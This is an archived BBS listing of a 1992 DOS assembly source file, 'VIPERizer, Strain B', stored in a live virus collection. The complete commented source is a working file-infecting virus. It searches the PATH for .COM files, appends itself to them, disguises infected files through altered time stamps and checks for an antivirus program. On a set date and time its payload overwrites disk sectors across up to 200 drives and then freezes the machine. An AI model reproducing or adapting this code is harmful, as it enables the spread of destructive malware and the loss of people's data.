home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / viper.asm < prev    next >
Assembly Source File  |  1992-02-12  |  18KB  |  413 lines
  1. ;
  2. ; VIPERizer, Strain B
  3. ; Copyright (c) 1992, Stingray/VIPER
  4. ; This is a Viral Inclined Programming Experts Ring Programming Team Production
  5. ; 
  6. ; VIPER are:  Stingray, Venom, and Guido Sanchez
  7. ;
  8.  
  9. MOV_CX  MACRO   X         ; Here is just a simple "mov cx,xxxx" macro.
  10.         DB      0B9H
  11.         DW      X
  12. ENDM
  13.  
  14. CODE    SEGMENT
  15.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  16.         ORG     $+0100H
  17.  
  18. VCODE:  JMP     virus
  19.  
  20.         NOP         ; just a dud for the 'infected' file.
  21.  
  22. v_start equ     $
  23.  
  24.  
  25. virus:  PUSH    CX
  26.         mov     ax,0ff0fh               ;  Thanks to RABID... Change Mem Marker
  27.         int     21h
  28.         cmp     ax,101h                 ;  Is VirexPC/FluShit in memory?
  29.         jne     more_virus              ;  Nope.
  30.         jmp     quit                    ;  FUCK!!!!!
  31. more_virus:
  32.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  33.                                         ; The 2nd and 3rd bytes get modified.
  34.         CLD                             ;Pointers will be auto INcremented
  35.         MOV     SI,DX                   ;Access data as offset from SI
  36.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  37.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  38.         mov     cx,3
  39.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  40.         MOV     SI,DX                   ;Keep SI pointing to the data area
  41.  
  42.         MOV     AH,30H
  43.         INT     21H
  44.         nop
  45.         CMP     AL,0                    ;0 means it's version 1.X
  46.         JNZ     dos_ok                  ;For version 2.0 or greater
  47.         JMP     quit                    ;Don't try to infect version 1.X
  48. dos_ok:
  49.         mov     ah,2ch                  ;  Get Time
  50.         int     21h                     ;  Do it.
  51.         xor     bx,bx                   ;  VIPERize bx, for later use.
  52.         cmp     dl,4                    ;  hund's of seconds 4?
  53.         jle     print_message           ;  If 4 or less, print a message.
  54.                                         ;  This serves as a random 1 in 20
  55.                                         ;  chance of the message printing
  56.         jmp     short get_date          ;  No?  What date is it...?
  57. print_message:
  58.         mov     dl, byte ptr [si+msg+bx] ; Get a byte of our message...
  59.         or      dl,dl                   ;  is it 0? (end of message)
  60.         jz      get_date                ;  Get the date if it is...
  61.         sub     dl,75                   ;  Unencrypt message
  62.         mov     ah,2                    ;  Prepare to print one letter
  63.         int     21h                     ;  do it!
  64.         inc     bx                      ;  point to next character.
  65.         jmp     short print_message     ;  Do it again.
  66. get_date:
  67.         mov     ah,2ah                  ;  What day is it?
  68.         int     21h                     ;  Find out.
  69.         cmp     dh,3                    ;  Is it february?
  70.         jne     resume                  ;  No?  Oh well.
  71.         cmp     dl,24                   ;  Is it valentines day?
  72.         jne     resume                  ;  No?  Damn.
  73.         mov     ah,2ch                  ;  What time is it?
  74.         int     21h                     ;  Find out.
  75.         cmp     ch,7                    ;  Is it 7 hours?
  76.         jne     resume                  ;  No? C'est la vie...
  77.         cmp     cl,45                   ;  Is it 45 minutes?
  78.         jne     resume                  ;  No? Too Bad...
  79.         xor     bx,bx                   ;  VIPERize bx
  80. cool:
  81.         mov     dl,byte ptr [si+msg2+bx] ; This is pretty much the
  82.         or      dl,dl                   ;  same as the above 'print'
  83.         jz      no_mas                  ;  function.  except I didn't
  84.         sub     dl,75                   ;  make it a procedure.
  85.         mov     ah,2
  86.         int     21h
  87.         inc     bx
  88.         jmp     short cool
  89. no_mas:
  90.         mov     al,0                    ;  Start with drive default
  91. phri:   
  92.         mov     cx,255                  ;  Nuke a few sectors
  93.         mov     dx,1                    ;  Beginning with sector 1!!!
  94.         int     26h                     ;  VIPERize them!!!! Rah!!!
  95.         jc      error                   ;  Uh oh. Problem.
  96.         add     sp,2                    ;  Worked great.  Clear the stack...
  97. error:
  98.         inc     al                      ;  Get another drive!
  99.         cmp     al,200                  ;  Have we fried 200 drives?
  100.         je      done_phrying            ;  Yep.
  101.         jmp     short phri              ;  Nope.
  102. done_phrying:
  103.         cli                             ;  Disable Interrupts
  104.         hlt                             ;  Lock up computer.
  105. resume:
  106.         PUSH    ES
  107.         MOV     AH,2FH
  108.         INT     21H
  109.         nop
  110.         MOV     [SI+old_dta],BX
  111.         MOV     [SI+old_dts],ES         ;Save the DTA address
  112.         POP     ES
  113.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  114.         nop
  115.         ADD     DX,SI                   ;Compute DTA address
  116.         MOV     AH,1AH
  117.         INT     21H                     ;Set new DTA to inside our own code
  118.         nop
  119.         PUSH    ES
  120.         PUSH    SI
  121.         MOV     ES,DS:2CH
  122.         MOV     DI,0                    ;ES:DI points to environment
  123. find_path:
  124.         POP     SI
  125.         PUSH    SI                      ;Get SI back
  126.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  127.         LODSB
  128.         nop
  129.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  130.         REPNZ   SCASB                   ;Search for first character
  131.         MOV     CX,4
  132. check_next_4:
  133.         LODSB
  134.         SCASB
  135.         JNZ     find_path               ;If not all there, abort & start over
  136.         nop
  137.         LOOP    check_next_4            ;Loop to check the next character
  138.         POP     SI
  139.         POP     ES
  140.         nop
  141.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  142.         MOV     DI,SI
  143.         ADD     DI,wrk_spc              ;File name workspace
  144.         nop
  145.         MOV     BX,SI                   ;Save a copy of SI
  146.         ADD     SI,wrk_spc              ;Point SI to workspace
  147.         MOV     DI,SI                   ;Point DI to workspace
  148.         JMP     SHORT   slash_ok
  149. set_subdir:
  150.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  151.         JNZ     found_subdir            ;If not, there are more subdirectories
  152.         JMP     all_done                ;Else, we're all done
  153. found_subdir:
  154.         PUSH    DS
  155.         PUSH    SI
  156.         MOV     DS,ES:2CH               ;DS points to environment segment
  157.         nop
  158.         MOV     DI,SI
  159.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  160.         ADD     DI,wrk_spc              ;DI points to file name workspace
  161. move_subdir:
  162.         LODSB                           ;Get character
  163.         CMP     AL,';'                  ;Is it a ';' delimiter?
  164.         JZ      moved_one               ;Yes, found another subdirectory
  165.         nop
  166.         CMP     AL,0                    ;End of PATH string?
  167.         JZ      moved_last_one          ;Yes
  168.         STOSB                           ;Save PATH marker into [DI]
  169.         JMP     SHORT   move_subdir
  170. moved_last_one:
  171.         xor     si,si
  172. moved_one:
  173.         POP     BX                      ;Pointer to virus data area
  174.         POP     DS                      ;Restore DS
  175.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  176.         NOP
  177.         CMP     CH,'\'                  ;Ends with "\"?
  178.         nop
  179.         JZ      slash_ok                ;If yes
  180.         MOV     AL,'\'                  ;Add one, if not
  181.         STOSB
  182. slash_ok:
  183.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  184.         MOV     SI,BX                   ;Restore SI
  185.         ADD     SI,f_spec               ;Point to "*.COM"
  186.         MOV     CX,6
  187.         nop
  188.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  189.         MOV     SI,BX
  190.         MOV     AH,4EH
  191.         MOV     DX,wrk_spc
  192.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  193.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  194.         INT     21H
  195.         nop
  196.         JMP     SHORT   find_first
  197. find_next:
  198.         MOV     AH,4FH
  199.         INT     21H
  200.         nop
  201. find_first:
  202.         JNB     found_file              ;Jump if we found it
  203.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  204. found_file:
  205.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  206.         AND     AL,1FH                  ;Mask to remove all but seconds
  207.         CMP     AL,1FH                  ;62 seconds -> already infected
  208.         JZ      find_next               ;If so, go find another file
  209.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  210.         nop
  211.         JA      find_next               ;If too long, find another one
  212.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  213.         JB      find_next               ;Then go find another one
  214.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  215.         PUSH    SI                      ;Save SI
  216.         ADD     SI,dta_nam              ;Point SI to file name
  217. more_chars:
  218.         LODSB
  219.         STOSB
  220.         CMP     AL,0
  221.         JNZ     more_chars              ;Move characters until we find a 00
  222.         POP     SI
  223.         MOV     AX,OFFSET 4300H
  224.         nop
  225.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  226.         ADD     DX,SI
  227.         INT     21H
  228.         nop
  229.         MOV     [SI+old_att],CX         ;Save the old attributes
  230.         MOV     AX,OFFSET 4301H         ;Set attributes
  231.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  232.         nop
  233.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  234.         ADD     DX,SI                   ;Point to \path\name
  235.         INT     21H
  236.         nop
  237.         MOV     AX,OFFSET 3D02H         ;Read/Write
  238.         nop
  239.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  240.         ADD     DX,SI                   ;Point to \path\name
  241.         INT     21H
  242.         nop
  243.         JNB     opened_ok               ;If file was opened OK
  244.         JMP     fix_attr                ;If it failed, restore the attributes
  245.  
  246. opened_ok:
  247.         MOV     BX,AX
  248.         MOV     AX,OFFSET 5700H
  249.         INT     21H
  250.         nop
  251.         MOV     [SI+old_tim],CX         ;Save file time
  252.         MOV     [SI+ol_date],DX         ;Save the date
  253.         MOV     AH,3FH
  254.         nop
  255.         MOV     CX,3
  256.         MOV     DX,first_3
  257.         ADD     DX,SI
  258.         INT     21H             ;Save first 3 bytes into the data area
  259.         nop
  260.         JB      fix_time_stamp  ;Quit, if read failed
  261.         CMP     AX,3            ;Were we able to read all 3 bytes?
  262.         JNZ     fix_time_stamp  ;Quit, if not
  263.         MOV     AX,OFFSET 4202H
  264.         xor     cx,cx
  265.         xor     dx,dx
  266.         INT     21H
  267.         nop
  268.         JB      fix_time_stamp  ;Quit, if it didn't work
  269.         MOV     CX,AX           ;DX:AX (long int) = file size
  270.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  271.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  272.         nop
  273.         ADD     CX,OFFSET c_len_y
  274.         MOV     DI,SI           ;Point DI to virus data area
  275.         SUB     DI,OFFSET c_len_x
  276.                                 ;Point DI to reference vir_dat, at start of pgm
  277.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  278.         MOV     AH,40H
  279.         MOV_CX  virlen                  ;Length of virus, in bytes
  280.         nop
  281.         MOV     DX,SI
  282.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  283.                                         ; address of virus code in memory
  284.         INT     21H
  285.         nop
  286.         JB      fix_time_stamp          ;Jump if error
  287.         CMP     AX,OFFSET virlen        ;All bytes written?
  288.         JNZ     fix_time_stamp          ;Jump if error
  289.         MOV     AX,OFFSET 4200H
  290.         xor     cx,cx
  291.         xor     dx,dx
  292.         INT     21H
  293.         nop
  294.         JB      fix_time_stamp          ;Jump if error
  295.         MOV     AH,40H
  296.         MOV     CX,3
  297.         nop
  298.         MOV     DX,SI                   ;Virus data area
  299.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  300.         INT     21H
  301.         nop
  302. fix_time_stamp:
  303.         MOV     DX,[SI+ol_date]         ;Old file date
  304.         nop
  305.         MOV     CX,[SI+old_tim]         ;Old file time
  306.         AND     CX,OFFSET 0FFE0H
  307.         nop
  308.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  309.         MOV     AX,OFFSET 5701H
  310.         INT     21H
  311.         nop
  312.         MOV     AH,3EH
  313.         INT     21H
  314.         nop
  315. fix_attr:
  316.         MOV     AX,OFFSET 4301H
  317.         MOV     CX,[SI+old_att]         ;Old Attributes
  318.         nop
  319.         MOV     DX,wrk_spc
  320.         ADD     DX,SI                   ;DX points to \path\name in workspace
  321.         INT     21H
  322.         nop
  323. all_done:
  324.         PUSH    DS
  325.         MOV     AH,1AH
  326.         MOV     DX,[SI+old_dta]
  327.         nop
  328.         MOV     DS,[SI+old_dts]
  329.         INT     21H
  330.         nop
  331.         POP     DS
  332.         nop
  333. quit:
  334.         POP     CX
  335.         XOR     AX,AX
  336.         XOR     BX,BX
  337.         xor     cx,cx
  338.         XOR     DX,DX
  339.         XOR     SI,SI
  340.         MOV     DI,OFFSET 0100H
  341.         PUSH    DI
  342.         XOR     DI,DI
  343.         RET     0FFFFH
  344. vir_dat EQU     $
  345. olddta_ DW      0                       ;Old DTA offset
  346. olddts_ DW      0                       ;Old DTA segment
  347. oldtim_ DW      0                       ;Old Time
  348. oldate_ DW      0                       ;Old date
  349. oldatt_ DW      0                       ;Old file attributes
  350. first3_ EQU     $
  351.         INT     20H
  352.         NOP
  353. jmpop_  DB      0E9H                    ;Start of JMP instruction
  354. jmpdsp_ DW      0                       ;The displacement part
  355. fspec_  DB      '*.COM',0
  356. pathad_ DW      0                       ;Path address
  357. namptr_ DW      0                       ;Pointer to start of file name
  358. envstr_ DB      'PATH='                 ;Find this in the environment
  359. wrkspc_ DB      40h dup (0)
  360. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  361. dtatim_ DW      0,0                     ;Time stamp in DTA
  362. dtalen_ DW      0,0                     ;File length in the DTA
  363. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  364. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  365.  
  366. _msg    db  158,186,189,189,196,107,191,179,180,190,107,174,186,184,187,192
  367.         db  191,176,189,107,180,190,107,185,186,107,183,186,185,178,176,189
  368.         db  107,186,187,176,189,172,191,180,186,185,172,183,107,175,192,176
  369.         db  107,191,186,107,172,185,107,186,192,191,173,189,176,172,182,107
  370.         db  186,177,088,141,192,190,179,180,190,179,180,189,186,088,147,172
  371.         db  193,176,107,172,107,153,148,142,144,107,175,172,196,121,121,121
  372.         db  088
  373.         db  0
  374.  
  375. _msg2   db  161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
  376.         db  185,107,141,085,088
  377.         db  115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
  378.         db  172,196,122,161,148,155,144,157,085,088
  379.         db  147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
  380.         db  107,143,172,196,108,085,088
  381.         db  0
  382.  
  383.  
  384. lst_byt EQU     $                       ;All lines that assemble into code are
  385.                                         ;  above this one
  386.  
  387. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  388. codelen =       vir_dat - v_start       ;Length of virus code, only
  389. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  390. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  391. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  392. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  393. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  394. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  395. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  396. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  397. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  398. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  399. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  400. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  401. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  402. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  403. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  404. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  405. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  406. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  407. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  408. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  409. msg     =       _msg    - vir_dat       ; Disp. to 1st msg
  410. msg2    =       _msg2   - vir_dat       ; Disp. to 2nd msg
  411.         CODE    ENDS
  412. END     VCODE
  413.